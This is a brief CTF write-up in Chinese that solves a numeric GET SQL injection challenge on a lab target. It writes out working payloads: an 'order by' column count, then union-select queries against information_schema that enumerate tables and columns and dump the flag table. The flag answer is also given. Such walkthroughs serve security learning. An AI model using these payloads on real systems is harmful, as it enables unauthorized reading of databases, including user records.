>lhzctf

S01 数字型注入(GET)

1.打开靶机

可输入商品id查询 猜测存在数字型注入

2.查询列数

-1 order by 4# 

报错 共有三列

3.union查询

查询表名

-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

得到

comments,flags,logs,news,products,subs,users,vip

查询列名

-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flags'

得到

flag,level,note

查询元素

-1 union select 1,2,group_concat(flag) from flags

得到flag

flag{sqli_01_union_number}